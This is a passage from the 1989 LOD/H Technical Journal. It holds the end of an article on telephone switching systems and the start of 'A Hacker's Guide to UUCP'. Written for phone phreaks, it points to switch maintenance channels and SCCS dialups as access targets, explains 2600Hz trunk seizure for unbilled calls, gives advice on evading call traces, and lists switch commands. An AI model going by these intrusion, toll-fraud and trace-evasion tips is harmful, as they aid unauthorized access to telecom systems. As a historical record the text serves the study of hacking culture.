H ---------------------------------------------------------------------
|
||
|
||
G ---------------------------------------------------------------------
|
||
|
||
F ---------------------------------------------------------------------
|
||
|
||
E ---------------------------------------------------------------------
|
||
|
||
D ---------------------------------------------------------------------
|
||
|
||
C ---------------------------------------------------------------------
|
||
|
||
B ---------------------------------------------------------------------
|
||
|
||
A ---------------------------------------------------------------------
|
||
|
||
123456789 etc.
|
||
|
||
Please note that what you are looking at here represents the HDF side of
|
||
the MDF, being up to 100 feet long, and 20 feet high. Each "-" represents a
|
||
connector block containing connections for 4 x 24 (which is 96) pairs.
|
||
|
||
So far I've covered how the wires get from you to the switching
|
||
equipment. Now we get to the switching system itself.
|
||
|
||
|
||
** SWITCHING SYSTEMS **
|
||
|
||
Writing an article that covers them all would be lengthy indeed. So I am
|
||
only going to list the major ones and a brief description of each.
|
||
|
||
- Step by Step
|
||
Strowger 1889
|
||
First automatic, required no operators for local calls
|
||
No custom calling or touch tone
|
||
Manufactured by many different companies in different versions
|
||
Hard wire routing instructions, could not choose an alternate route if
|
||
programed route was busy
|
||
Each dial pulse tripped a "stepper" type relay to find its path
|
||
|
||
- No.1 Crossbar 1930
|
||
- No.5 Crossbar 1947 (faster, more capacity)
|
||
Western Electric
|
||
First ability to find idle trunks for call routing
|
||
No custom calling, or equal access
|
||
Utilized 10x20 cross point relay switches
|
||
Hard wired common control logic for program control
|
||
Also copied by other manufactures
|
||
|
||
- No.4 Crossbar
|
||
Used as a toll switch for AT&T's long lines network
|
||
4 wire tandem switching
|
||
Not usually used for local loop switching
|
||
|
||
- No.1ESS 1966
|
||
- No.1AESS 1973
|
||
Western Electric
|
||
Described in detail later
|
||
|
||
- No.1EAX
|
||
GTE Automatic Electric
|
||
GTE's version of the 1AESS
|
||
Slower and louder
|
||
|
||
- No.2ESS 1967
|
||
- No.2BESS 1974
|
||
Western Electric
|
||
Analog switching under digital control
|
||
Very similar to the No.1ESS and No.1AESS
|
||
Downsized for smaller applications
|
||
|
||
_ No.3ESS
|
||
Western Electric
|
||
Analog switching under digital control
|
||
Even smaller version of No.1AESS
|
||
Rural applications for up to 4500 lines
|
||
|
||
- No.2EAX
|
||
GTE Automatic Electric
|
||
Smaller version of 1EAX
|
||
Analog switch under digital control
|
||
|
||
- No.4ESS
|
||
Western Electric
|
||
Toll switch, 4 wire tandem
|
||
Digital switching
|
||
Uses the 1AESS processor
|
||
|
||
- No.3EAX
|
||
Gee is there a pattern here? No GTE
|
||
Digital Toll switch
|
||
4 wire tandem switching
|
||
|
||
- No.5ESS
|
||
AT&T Network Systems
|
||
Full scale computerized digital switching
|
||
ISDN compatibility
|
||
Utilizes time sharing technology
|
||
Toll or end office
|
||
|
||
- DMS 100 Digital Matrix Switch
|
||
Northern Telecom
|
||
Similar to 5ESS
|
||
Runs slower
|
||
Considerably less expensive
|
||
|
||
- DMS 200
|
||
Toll and Access Tandem
|
||
Optional operator services
|
||
|
||
- DMS 250
|
||
Toll switch designed for common carriers
|
||
|
||
- DMS 300
|
||
Toll switch for international gateways
|
||
|
||
- No.5EAX
|
||
GTE Automatic Electric
|
||
Same as above
|
||
|
||
How much does a switch cost? A fully equipped 5ESS for a 40,000
|
||
subscriber end office can cost well over 3 million dollars. Now you know why
|
||
your phone bill is so much. Well...maybe you parents bill.
|
||
|
||
|
||
** The 1ESS and 1AESS **
|
||
|
||
This was the first switch of it's type put into widespread use by Bell.
|
||
Primarily an analog switch under digital control, the switch is no longer
|
||
being manufactured. The 1ESS has been replaced by the 5ESS and other full
|
||
scale digital switches, however, it is still by far the most common switch
|
||
used in today's Class 5 end offices.
|
||
|
||
The #1 and 1A use a crosspoint matrix similar to the X-bar. The primary
|
||
switch used in the matrix is the ferreed (remreed in the 1A). It is a two
|
||
state magnetic alloy switch. It is basically a magnetic switch that does not
|
||
require voltage to stay in it's present position. A voltage is only required
|
||
to change the state of the switch.
|
||
|
||
The No. 1 utilized a computer style, common control and memory. Memory
|
||
used by the #1 changed with technology, but most have been upgraded to RAM.
|
||
Line scanners monitor the status of customer lines, crosspoint switches,
|
||
and all internal, outgoing, and incoming trunks, reporting their status to
|
||
the central control. The central control then either calls upon program or
|
||
call store memories to chose which crosspoints to activate for processing the
|
||
call. The crosspoint matrices are controlled via central pulse distributors
|
||
which in turn are controlled by the central control via data buses. All of
|
||
the scanner's AMA tape controllers, pulse distro, x-point matrix, etc., listen
|
||
to data buses for their address and command or report their information on
|
||
the buses. The buses are merely cables connecting the different units to the
|
||
central control.
|
||
|
||
The 1E was quickly replaced by the 1A due to advances in technology. So
|
||
1A's are more common, also many of the 1E's have been upgraded to a 1A.
|
||
This meant changing the ferreed to the remreed relay, adding additional
|
||
peripheral component controllers (to free up central controller load) and
|
||
implementation of the 1A processor. The 1A processor replaced older style
|
||
electronics with integrated circuits. Both switches operate similarly.
|
||
The primary differences were speed and capacity. The #1ESS could process
|
||
110,000 calls per hour and serve 128,000 lines.
|
||
|
||
Most of the major common control elements are either fully or partially
|
||
duplicated to ensure reliability. Systems run simultaneously and are checked
|
||
against each other for errors. When a problem occurs the system will double
|
||
check, reroute, or switch over to auxiliary to continue system operation.
|
||
Alarms are also reported to the maintenance console and are in turn printed
|
||
out on a printer near the control console.
|
||
|
||
Operation of the switch is done through the Master Control Center (MCC)
|
||
panel and/or a terminal. Remote operation is also done through input/output
|
||
channels. These channels have different functions and therefore receive
|
||
different types of output messages and have different abilities as for what
|
||
type of commands they are allowed to issue. Here is a list of the commonly
|
||
used TTY channels.
|
||
|
||
Maintenance - Primary channel for testing, enable, disable etc.
|
||
Recent Change - Changes in class of service, calling features etc.
|
||
Administrative - Traffic information and control
|
||
Supplementary - Traffic information supplied to automatic network control
|
||
SCC Maint. - Switching Control Center interface
|
||
Plant Serv.Cent.- Reports testing information to test facilities
|
||
|
||
At the end of this article you will find a list of the most frequently
|
||
seen Maintenance channel output messages and a brief description of their
|
||
meaning. You will also find a list of frequently used input messages.
|
||
|
||
There are other channels as well as back ups but the only ones to be
|
||
concerned with are Recent Change and SCC maint. These are the two channels
|
||
you will most likely want to get access to. The Maintenance channel doesn't
|
||
leave the C.O. and is used by switch engineers as the primary way of
|
||
controlling the switch. During off hours and weekends the control of the
|
||
switch is transferred to the SCC.
|
||
|
||
The SCC is a centrally located bureau that has up to 16 switches
|
||
reporting to it via their SCC maint. channel. The SCC has a mini computer
|
||
running SCCS that watches the output of all these switches for trouble
|
||
conditions that require immediate attention. The SCC personnel then have the
|
||
ability to input messages to that particular switch to try and correct the
|
||
problem. If necessary, someone will be dispatched to the C.O. to correct the
|
||
problem. I should also mention that the SCC mini, SCCS has dialups and access
|
||
to SCCS means access to all the switches connected to it. The level of access
|
||
however, may be dependent upon the privileges of the account you are using.
|
||
|
||
The Recent Change channels also connect to a centrally located bureau
|
||
referred to as the RCMAC. These bureaus are responsible for activating lines,
|
||
changing class of service etc. RCMAC has been automated to a large degree by
|
||
computer systems that log into COSMOS and look for pending orders. COSMOS is
|
||
basically an order placement and record keeping system for central office
|
||
equipment, but you should know that already, right? So this system, called
|
||
Work Manager running MIZAR logs into COSMOS, pulls orders requiring recent
|
||
change work, then in one batch several times a day, transmits the orders to
|
||
the appropriate switch via it's Recent Change Channel.
|
||
|
||
Testing of the switch is done by many different methods. Bell Labs has
|
||
developed a number of systems, many accomplishing the same functions. I will
|
||
only attempt to cover the ones I know fairly well.
|
||
|
||
The primary testing system is the trunk test panels located at the switch
|
||
itself. There are three and they all pretty much do the same thing, which is
|
||
to test trunk and line paths through the switch.
|
||
|
||
Trunk and Line Test Panel
|
||
Supplementary Trunk Test Panel
|
||
Manual Trunk Test Panel
|
||
|
||
MLT (Mechanized Loop Testing) is another popular one. This system is
|
||
often available through the LMOS data base and can give very specific
|
||
measurements of line levels and losses. The "TV Mask" is also popular giving
|
||
the user the ability to monitor lines via a call back number.
|
||
|
||
DAMT (Direct Access Mechanized Testing) is used by line repairmen to put
|
||
tone on numbers to help them find lines. This was previously done by Frame
|
||
personnel, so DAMT automated that task. DAMT can also monitor lines, but
|
||
unfortunately, the audio is scrambled in a manor that allows one only to tell
|
||
what type of signal is present on the line, or whether it is busy or not.
|
||
|
||
All of these testing systems have one thing in common: they access the
|
||
line through a "No Test Trunk". This is a switch which can drop in on a
|
||
specific path or line and connect it to the testing device. It depends on
|
||
the device connected to the trunk, but there is usually a noticeable "click"
|
||
heard on the tested line when the No Test Trunk drops in. Also the testing
|
||
devices I have mentioned here will seize the line, busying it out. This will
|
||
present problems when trying to monitor calls, as you would need to drop in
|
||
during the call. The No Test Trunk is also the method in which operator
|
||
consoles perform verifications and interrupts.
|
||
|
||
|
||
** INTEROFFICE SIGNALLING **
|
||
|
||
Calls coming into and leaving the switch are routed via trunks. The
|
||
switches select which trunk will route the call most effectively and then
|
||
retransmits the dialed number to the distant switch. There are several
|
||
different ways this is done. The two most common are Loop Signaling and CCIS,
|
||
Common Channel Interoffice Signaling. The predecessor to both of these is the
|
||
famous and almost extinct "SF Signaling". This utilized the presence of
|
||
2600hz to indicate trunks in use. If one winks 2600Hz down one of these
|
||
trunks, the distant switch would think you hung up. Remove the 2600, and you
|
||
have control of the trunk and you could then MF a number. This worked great
|
||
for years. Assuming you had dialed a toll free number to begin with, there
|
||
was no billing generated at all. The 1AESS does have a program called SIGI
|
||
that looks for any 2600 winks after the original connection of a toll call.
|
||
It then proceeds to record on AMA and output any MF digits received. For more
|
||
information on AMA see Phantom Phreaker's article entitled, Understanding
|
||
Automatic Message Accounting in the LOD/H TJ Issue #3. However due to many
|
||
long distant carriers using signaling that can generate these messages it is
|
||
often overlooked and "SIG IRR" output messages are quite common.
|
||
|
||
Loop signaling still uses MF to transmit the called number to distant
|
||
switches, however, the polarity of the voltage on the trunk is reversed to
|
||
indicate trunk use.
|
||
|
||
CCIS sometimes referred to CCS#6 uses a separate data link sending
|
||
packets of data containing information regarding outgoing calls. The distant
|
||
switch monitors the information and connects the correct trunk to the correct
|
||
path. This is a faster and more efficient way of call processing and is being
|
||
implemented everywhere. The protocol that AT&T uses is CCS7 and is currently
|
||
being accepted as the industry standard. CCS6 and CCS7 are somewhat similar.
|
||
|
||
Interoffice trunks are multiplexed together onto one pair. The standard
|
||
is 24 channels per pair. This is called T-1 in it's analog format and D-1
|
||
in its digital format. This is often referred to as carrier or CXR. The terms
|
||
frame error and phase jitter are part of this technology which is often a
|
||
world in itself. This type of transmission is effective for only a few miles
|
||
on twisted pair. It is often common to see interoffice repeaters in manholes
|
||
or special huts. Repeaters can also be found within C.O.s, amplifying trunks
|
||
between offices. This equipment is usually handled by the "carrier" room,
|
||
often located on another floor. Carrier also handles special circuits, private
|
||
lines, and foreign exchange circuits.
|
||
|
||
After a call reaches a Toll Switch, the transmit and receive paths of
|
||
the calling and called party are separated and transmitted on separate
|
||
channels. This allows better transmission results and allows more calls to
|
||
be placed on any given trunk. This is referred to as 4 wire switching. This
|
||
also explains why during a call, one person can hear crosstalk and the other
|
||
cannot. Crosstalk will bleed over from other channels onto the multiplexed
|
||
T-Carrier transmission lines used between switches.
|
||
|
||
|
||
** CALL TRACING
|
||
|
||
So with the Loop Signaling standard format there is no information being
|
||
transmitted regarding the calling number between switches. This therefore
|
||
causes the call tracing routine to be at least a two step process. This is
|
||
assuming that you are trying to trace an anticipated call, not one in
|
||
progress. When call trace "CLID" is placed on a number, a message is output
|
||
every time someone calls that number. The message shows up on most of the ESS
|
||
output channels and gives information regarding the time and the number of the
|
||
incoming trunk group. If the call came from within that office, then the
|
||
calling number is printed in the message. Once the trunk group is known, it
|
||
can usually be determined what C.O. the calls are coming from. This is also
|
||
assuming that the calls are coming from within that Bell company and not
|
||
through a long distance carrier (IEC). So if Bell knows what C.O. the calls
|
||
are coming from, they simply put the called number on the C.I. list of that
|
||
C.O. Anytime anyone in that C.O. calls the number in question another message
|
||
is generated showing all the pertinent information.
|
||
|
||
Now if this were a real time trace it would only require the assistance
|
||
of the SCC and a few commands sent to the appropriate switches (i.e.
|
||
NET-LINE). This would give them the path and trunk group numbers of the call
|
||
in progress. Naturally the more things the call is going through, the more
|
||
people that will need to be involved in the trace. There seems to be a common
|
||
misconception about the ability to trace a call through some of the larger
|
||
packet networks i.e. Telenet and TYMNET. Well I can assure you, they can
|
||
track a call through their network in seconds (assuming multiple systems
|
||
and/or network gateways are not used) and then all that is needed is the
|
||
cooperation of the Bell companies. Call tracing in itself it not that
|
||
difficult these days. What is difficult is getting the different organizations
|
||
together to cooperate. You have to be doing something relatively serious to
|
||
warrant tracing in most cases, however, not always. So if tracing is a
|
||
concern, I would recommend using as many different companies at one time as
|
||
you think is necessary, especially US Sprint, since they can't even bill
|
||
people on time much less trace a call. But...it is not recommended to call
|
||
Sprint direct, more on that in the Equal Access section.
|
||
|
||
|
||
** EQUAL ACCESS
|
||
|
||
The first thing you need to understand is that every IEC Inter Exchange
|
||
Carrier (long distance company) needs to have an agreement with every LEC
|
||
Local Exchange Carrier (your local phone company) that they want to have
|
||
access to and from. They have to pay the LEC for the type of service they
|
||
receive and the amount of trunks, and trunk use. The cost is high and the
|
||
market is a zoo. The LECs have the following options:
|
||
|
||
- Feature Group A -
|
||
|
||
This was the first access form offered to the IECs by the LECs. Basically
|
||
whenever you access an IEC by dialing a regular 7 digit number (POTS line)
|
||
this is FGA. The IECs' equipment would answer the line and interpret your
|
||
digits and route your call over their own network. Then they would pick up an
|
||
outgoing telephone line in the city you were calling and dial your number
|
||
locally. Basically a dial in, dial out situation similar to Telenet's
|
||
PC pursuit service.
|
||
|
||
- Feature Group B -
|
||
|
||
FGB is 950-xxxx. This is a very different setup from FGA. When you dial
|
||
950, your local switch routes the call to the closest Access Tandem (AT) (Toll
|
||
Switch) in your area. There the IECs have direct trunks connected between the
|
||
AT and their equipment. These trunks usually use a form of multiplexing like
|
||
T-1 carrier with wink start (2600Hz). On the incoming side, calls coming in
|
||
from the IEC are basically connected the same way. The IEC MFs into the AT
|
||
and the AT then connects the calls. There are many different ways FGB is
|
||
technically setup, but this is the most common.
|
||
|
||
Tracing on 950 calls has been an area of controversy and I would like to
|
||
clear it up. The answer is yes, it is possible. But like I mentioned earlier,
|
||
it would take considerable manpower which equals expensive to do this. It
|
||
also really depends on how the IEC interface is set up. Many IECs have
|
||
trunks going directly to Class 5 end offices. So, if you are using a small
|
||
IEC, and they figure out what C.O. you are calling from, it wouldn't be out
|
||
of the question to put CLID on the 950 number. This is highly unlikely and I
|
||
have not heard from reliable sources of it ever being done. Remember, CLID
|
||
generates a message every time a call is placed to that number. Excessive
|
||
call trace messages can crash a switch. However, I should mention that brute
|
||
force hacking of 950s is easily detected and relatively easy to trace. If the
|
||
IEC is really having a problem in a particular area they will pursue it.
|
||
|
||
- Feature Group C -
|
||
|
||
FGC is reserved for and used exclusively by AT&T.
|
||
|
||
- Feature Group D -
|
||
FGD is similar to FGB with the exception that ANI is MF'ed to the IEC.
|
||
The end office switch must have Equal Access capability in order to transmit
|
||
the ANI. Anything above a X-bar can have it. FGD can only be implemented on
|
||
800 numbers and if an IEC wants it, they have to buy the whole prefix. For a
|
||
list of FGD prefixes see 2600 Magazine. You should also be aware that MCI,
|
||
Sprint, and AT&T are offering a service where they will transmit the ANI to
|
||
the customer as well. You will find this being used as a security or
|
||
marketing tool by an increasing amount of companies. A good example would be
|
||
800-999-CHAT.
|
||
|
||
|
||
** OUTPUT MESSAGES **
|
||
|
||
The following is a compiled list of common switch messages. The list was
|
||
compiled from various reference materials that I have at my disposal.
|
||
|
||
|
||
1AESS COMMON OUTPUT MESSAGES
|
||
--------------------------------------
|
||
|
||
MSG. DESCRIPTION
|
||
----------------------------------------------------------------
|
||
** ALARM **
|
||
|
||
AR01 Office alarm
|
||
AR02 Alarm retired or transferred
|
||
AR03 Fuse blown
|
||
AR04 Unknown alarm scan point activated
|
||
AR05 Commercial power failure
|
||
AR06 Switchroom alarm via alarm grid
|
||
AR07 Power plant alarm
|
||
AR08 Alarm circuit battery loss
|
||
AR09 AMA bus fuse blown
|
||
AR10 Alarm configuration has been changed (retired,inhibited)
|
||
AR11 Power converter trouble
|
||
AR13 Carrier group alarm
|
||
AR15 Hourly report on building and power alarms
|
||
|
||
** AUTOMATIC TRUNK TEST **
|
||
AT01 Results of trunk test
|
||
|
||
** CARRIER GROUP **
|
||
CG01 Carrier group in alarm
|
||
CG03 Reason for above
|
||
|
||
** COIN PHONE **
|
||
CN02 List of pay phones with coin disposal problems
|
||
CN03 Possible Trouble
|
||
CN04 Phone taken out of restored service because of possible coin fraud
|
||
|
||
** COPY **
|
||
COPY Data copied from one address to another
|
||
|
||
** CALL TRACE **
|
||
CT01 Manually requested trace line to line, information follows
|
||
CT02 Manually requested trace line to trunk, information follows
|
||
CT03 Intraoffice call placed to a number with CLID
|
||
CT04 Interoffice call placed to a number with CLID
|
||
CT05 Call placed to number on the CI list
|
||
CT06 Contents of the CI list
|
||
CT07 ACD related trace
|
||
CT08 ACD related trace
|
||
CT09 ACD related trace
|
||
|
||
** DIGITAL CARRIER TRUNK **
|
||
DCT COUNTS Count of T carrier errors
|
||
|
||
** MEMORY DIAGNOSTICS **
|
||
DGN Memory failure in cs/ps diagnostic program
|
||
|
||
** DIGITAL CARRIER "FRAME" ERRORS **
|
||
FM01 DCT alarm activated or retired
|
||
FM02 Possible failure of entire bank not just frame
|
||
FM03 Error rate of specified digroup
|
||
FM04 Digroup out of frame more than indicated
|
||
FM05 Operation or release of the loop terminal relay
|
||
FM06 Result of digroup circuit diagnostics
|
||
FM07 Carrier group alarm status of specific group
|
||
FM08 Carrier group alarm count for digroup
|
||
FM09 Hourly report of carrier group alarms
|
||
FM10 Public switched digital capacity failure
|
||
FM11 PUC counts of carrier group errors
|
||
|
||
** MAINTENANCE **
|
||
MA02 Status requested, print out of MACII scratch pad
|
||
MA03 Hourly report of system circuits and units in trouble
|
||
MA04 Reports condition of system
|
||
MA05 Maintenance interrupt count for last hour
|
||
MA06 Scanners,network and signal distributors in trouble
|
||
MA07 Successful switch of duplicated unit (program store etc.)
|
||
MA08 Excessive error rate of named unit
|
||
MA09 Power should not be removed from named unit
|
||
MA10 OK to remove paper
|
||
MA11 Power manually removed from unit
|
||
MA12 Power restored to unit
|
||
MA13 Indicates central control active
|
||
MA15 Hourly report of # of times interrupt recovery program acted
|
||
MA17 Centrex data link power removed
|
||
MA21 Reports action taken on MAC-REX command
|
||
MA23 4 minute report, emergency action phase triggers are inhibited
|
||
|
||
** MEMORY **
|
||
MN02 List of circuits in trouble in memory
|
||
|
||
** NETWORK TROUBLE **
|
||
NT01 Network frame unable to switch off line after fault detection
|
||
NT02 Network path trouble Trunk to Line
|
||
NT03 Network path trouble Line to Line
|
||
NT04 Network path trouble Trunk to Trunk
|
||
NT06 Hourly report of network frames made busy
|
||
NT10 Network path failed to restore
|
||
|
||
** OPERATING SYSTEM STATUS **
|
||
OP:APS-0
|
||
OP:APSTATUS
|
||
OP:CHAN
|
||
OP:CISRC Source of critical alarm, automatic every 15 minutes
|
||
OP:CSSTATUS Call store status
|
||
OP:DUSTATUS Data unit status
|
||
OP:ERAPDATA Error analysis database output
|
||
OP:INHINT Hourly report of inhibited devices
|
||
OP:LIBSTAT List of active library programs
|
||
OP:OOSUNITS Units out of service
|
||
OP:PSSTATUS Program store status
|
||
|
||
** PLANT MEASUREMENTS **
|
||
PM01 Daily report
|
||
PM02 Monthly report
|
||
PM03 Response to a request for a specific section of report
|
||
PM04 Daily summary of IC/IEC irregularities
|
||
|
||
** REPORT **
|
||
REPT:ADS FUNCTION Reports that a ADS function is about to occur
|
||
REPT:ADS FUNCTION DUPLEX FAILED No ADS assigned
|
||
REPT:ADS FUNCTION SIMPLEX Only one tape drive is assigned
|
||
REPT:ADS FUNCTION STATE CHANGE Change in state of ADS
|
||
REPT:ADS PROCEDURAL ERROR You fucked up
|
||
REPT:LINE TRBL Too many permanent off hooks, may indicate bad cable
|
||
REPT:PROG CONT OFF-NORMAL System programs that are off or on
|
||
REPT:RC CENSUS Hourly report on recent changes
|
||
REPT:RC SOURCE Recent change system status (RCS=1 means RC Channel inhibited)
|
||
|
||
** RECENT CHANGE **
|
||
RC18 RC message response
|
||
|
||
** REMOVE **
|
||
RMV Removed from service
|
||
|
||
** RESTORE **
|
||
RST Restored to service status
|
||
|
||
** RINGING AND TONE PLANT **
|
||
RT04 Status of monitors
|
||
|
||
** SOFTWARE AUDIT **
|
||
SA01 Call store memory audit results
|
||
SA03 Call store memory audit results
|
||
|
||
** SIGNAL IRREGULARITY **
|
||
SIG IRR Blue box detection
|
||
SIG IRR INHIBITED Detector off
|
||
SIG IRR TRAF Half hour report of traffic data
|
||
|
||
** TRAFFIC CONDITION **
|
||
TC15 Reports overall traffic condition
|
||
TL02 Reason test position test was denied
|
||
TL03 Same as above
|
||
|
||
** TRUNK NETWORK **
|
||
TN01 Trunk diagnostic found trouble
|
||
TN02 Dial tone delay alarm failure
|
||
TN04 Trunk diag request from test panel
|
||
TN05 Trunk test procedural report or denials
|
||
TN06 Trunk state change
|
||
TN07 Response to a trunk type and status request
|
||
TN08 Failed incoming or outgoing call
|
||
TN09 Network relay failures
|
||
TN10 Response to TRK-LIST input, usually a request from test position
|
||
TN11 Hourly, status of trunk undergoing tests
|
||
TN16 Daily summary of precut trunk groups
|
||
|
||
** TRAFFIC OVERLOAD CONDITION **
|
||
TOC01 Serious traffic condition
|
||
TOC02 Reports status of less serious overload conditions
|
||
|
||
** TRANSLATION ** (shows class of service, calling features etc.)
|
||
TR01 Translation information, response to VFY-DN
|
||
TR03 Translation information, response to VFY-LEN
|
||
TR75 Translation information, response to VF:DNSVY
|
||
** **
|
||
TW02 Dump of octal contents of memory
|
||
|
||
|
||
|
||
1AESS COMMON INPUT MESSAGES
|
||
-------------------------------------
|
||
|
||
Messages always terminate with ". ctrl d " x=number or trunk network #
|
||
|
||
|
||
MSG. DESCRIPTION
|
||
------------------------------------------------------------------------
|
||
NET-LINE-xxxxxxx0000 Trace of path through switch
|
||
NET-TNN-xxxxxx Same as above for trunk trace
|
||
T-DN-MBxxxxxxx Makes a # busy
|
||
TR-DEACTT-26xxxxxxx Deactivates call forwarding
|
||
VFY-DNxxxxxxx Displays class of service, calling features etc.
|
||
VFY-LENxxxxxxxx Same as above for OE
|
||
VFY-LIST-09 xxxxxxx Displays speed calling 8 list
|
||
|
||
|
||
************************************************************************
|
||
|
||
There are many things I didn't cover in this article and many of the
|
||
things I covered, I did so very briefly. My intention was to write an article
|
||
that explains the big picture, how everything fits together. I hope I helped.
|
||
|
||
Special thanks to all the stupid people, for without them some of us
|
||
wouldn't be so smart and might have to work for a living. Also all the usual
|
||
Bell Labs, AT&T bla bla bla etc. etc.
|
||
|
||
I can usually be reached on any respectable board, ha!
|
||
|
||
|
||
Agent Steal Inner (C)ircle 1989
|
||
|
||
!!!!!
|
||
|
||
!!!!! FREE KEVIN MITNICK !!!!!
|
||
|
||
!!!!!
|
||
|
||
[End Of Article]
|
||
|
||
The LOD/H Technical Journal, Issue #4: File 05 of 10
|
||
|
||
|
||
=====================================================
|
||
|| ||
|
||
|| A Hacker's Guide to UUCP ||
|
||
|| ||
|
||
|| by ||
|
||
|| ||
|
||
|| The Mentor ||
|
||
|| ||
|
||
|| Legion of Doom/Hackers ||
|
||
|| ||
|
||
|| 08/04/89 ||
|
||
|| ||
|
||
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
|
||
|
||
Scope
|
||
DDDDD
|
||
|
||
Part I of this file is intended for the casual hacker- someone
|
||
familiar with UNIX commands, but who hasn't had extended experience
|
||
with the UUCP network. Part II will be intended for the advanced
|
||
hacker who has the confidence and knowledge to go out and modify
|
||
a UNIX network- the logs, the paths, the permissions, etc...
|
||
|
||
|
||
Introduction
|
||
DDDDDDDDDDDD
|
||
|
||
Like it or not, UNIX is the most popular operating system in the
|
||
world. As a hacker, you are likely to run into several hundred
|
||
UNIX machines over the course of your hacking career. Knowing how
|
||
to move around and use the UNIX environment should be considered
|
||
absolutely essential, especially since UNIX is the operating system
|
||
of choice among phone company computers.
|
||
|
||
This article is not an attempt to teach you how to use UNIX.
|
||
If you don't know what a '$ls -x > dir' does, you need to put this
|
||
article in your archives, get a good basic file on UNIX (or buy a
|
||
book on it- there are several good ones out ((see the Bibliography
|
||
at the end of this file for suggestions))), read it, and then play
|
||
around some in a UNIX machine. Please! If you have managed to
|
||
stumble into a Bell system, do *not* use it as a machine to learn
|
||
UNIX on! You *will* get noticed by security, and this will lead
|
||
not only to the security being tightened, but may well lead to Bell
|
||
Security going through your underwear drawer.
|
||
|
||
The information in this article is mainly concerning AT&T System
|
||
V UNIX. I have included BSD 4.3 & Xenix information also in cases
|
||
that I was able to determine alternate procedures. All information
|
||
has been thoroughly tested and researched on as many machines as
|
||
possible. Standard disclaimer, your system may be slightly
|
||
different.
|
||
|
||
Glossary & Usage
|
||
DDDDDDDDDDDDDDDD
|
||
|
||
BNU - Basic Networking Utilities. System V.3's uucp package.
|
||
daemon - A program running in the background.
|
||
LAN - Local Area Network.
|
||
network - A group of machines set up to exchange information and/or
|
||
resources.
|
||
node - A terminating machine on a network.
|
||
UUCP - When capitalized, refers to the UNIX networking utilities
|
||
package.
|
||
uucp - In lower case, refers to the program Unix-to-Unix-CoPy.
|
||
|
||
I. General Information
|
||
DDDDDDDDDDDDDDDDDDD
|
||
|
||
A. What is UUCP?
|
||
|
||
UUCP is a networking facility for the UNIX operating system.
|
||
It is made up of a number of different programs that allow UNIX
|
||
machines to talk to each other. Using UUCP, you can access a
|
||
remote machine to copy files, execute commands, use resources, or
|
||
send mail. You can dial out to other non-UNIX computers, and you
|
||
can access public mail/news networks such as USENET.
|
||
|
||
B. History of UUCP
|
||
|
||
The first UUCP system was built in 1976 by Mike Lest at AT&T
|
||
Bell Labs. This system became so popular that a second version was
|
||
developed by Lesk, David Nowitz, and Greg Chesson. Version 2 UUCP
|
||
was distributed with UNIX Version 7.
|
||
|
||
With System V Release 3, a new version of UUCP that was
|
||
developed in 1983 by Peter Honeyman, David A. Nowitz, and Brian E.
|
||
Redman. This version is known as either HoneyDanBer UUCP (from the
|
||
last names of the developers), or more conventionally as Basic
|
||
Networking Utilities (BNU). I will stick with BNU, as it is easier
|
||
to type. BNU is backward compatible with Version 2, so there is
|
||
no problem communicating between the two.
|
||
|
||
BSD 4.3's UUCP release incorporates some of the BNU features,
|
||
but retains more similarity to Version 2 UUCP.
|
||
|
||
If you are unsure about which version of UUCP is on the system
|
||
that you are in, do a directory of /usr/lib/uucp and look at the
|
||
files. If you have a file called L.sys, you are in a Version 2
|
||
system. If there is a file called Systems, then it's BNU. See
|
||
Table 1 for a fairly complete listing of what system runs what UUCP
|
||
version.
|
||
|
||
|
||
Table 1*
|
||
DDDDDDD
|
||
Manufacturer Model UNIX/UUCP Version
|
||
|
||
_____________________________________________________________
|
||
| | | |
|
||
| Apollo | 3000 Series (Domain) | BSD 4.2/Version 2|
|
||
| Altos | All models | Xenix/Version 2 |
|
||
| AT&T | 3B1 (UNIX PC) | System V.2/Vers.2|
|
||
| AT&T | 3B2 | System V.3/BNU |
|
||
| AT&T | 3B15 | System V.3/BNU |
|
||
| Convergent | Miniframe (CTIX) | System V.2/Vers.2|
|
||
| Technologies | Mightframe (CTIX) | System V.3/BNU |
|
||
| DEC | MicroVAX | Ultrix/Vers. 2 + |
|
||
| DEC | VAX | BSD 4.3/Vers. 2 +|
|
||
| Encore | Multimax | System V.3/BNU |
|
||
| IBM | PC-RT (AIX) | System V.2/Vers.2|
|
||
| Masscomp | MC-5000 Series | System V.3/BNU |
|
||
| Microport | PC/AT | System V.2/Vers.2|
|
||
| NCR | Tower 32/16 | System V.2/Vers.2|
|
||
| Prime | EXL Series | System V.2/Vers.2|
|
||
| Pyramid | 90x | BSD 4.2/Version 2|
|
||
| SCO/Xenix | PC/XT | System V.2/Vers.2|
|
||
| Unisys | 5000 & 7000 Series | System V.2/Vers.2|
|
||
| | | |
|
||
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
|
||
* This table is slightly outdated. Some of the systems may have
|
||
upgraded since this article was written.
|
||
|
||
|
||
II. UUCP Communications
|
||
DDDDDDDDDDDDDDDDDDD
|
||
|
||
A. Overview of UUCP User Programs
|
||
|
||
There are a number of programs that are used by a UUCP
|
||
communication network. Some are standard UNIX programs, others are
|
||
exclusively part of the UUCP package.
|
||
.................................................................
|
||
|
||
These three are standard UNIX commands:
|
||
|
||
mail- UNIX's mail facility can be used to send messages
|
||
to other systems on a UUCP network.
|
||
cu- Connects you to a remote machine and allows you to
|
||
be logged in simultaneously to both machines. Also
|
||
allows you execute commands on either machine
|
||
without dropping the link.
|
||
tip- (BSD) same as cu.
|
||
|
||
+++
|
||
|
||
There are five main programs within UUCP:
|
||
|
||
uucp- Does all the setup for a remote file transfer.
|
||
uucp creates files that describe the file transfer
|
||
(called 'work' files), then calls the uucico daemon
|
||
to do the actual work.
|
||
uux- Used to execute commands on a remote machine. uux
|
||
performs similar to uucp, except that commands are
|
||
processed instead of files.
|
||
uuname- Used to list the names of other systems that are
|
||
connected to your network.
|
||
uulog- Displays the uucp log for the specified machine.
|
||
I'll be showing how to cover your uucp tracks from
|
||
this later in the article.
|
||
uustat- Gets the status of uux requests. Also lets you
|
||
manipulate the contents of a UUCP queue.
|
||
|
||
+++
|
||
|
||
System V also has two additional programs:
|
||
|
||
uuto- Allows you to send files to another user similar
|
||
to the UNIX mail command.
|
||
uupick- Allows you to read files sent to you with uuto.
|
||
|
||
+++
|
||
|
||
BSD 4.3 has two additional programs:
|
||
|
||
uuq- Lets you view & manipulate UUCP jobs that are
|
||
waiting to be processed, similar to System V's
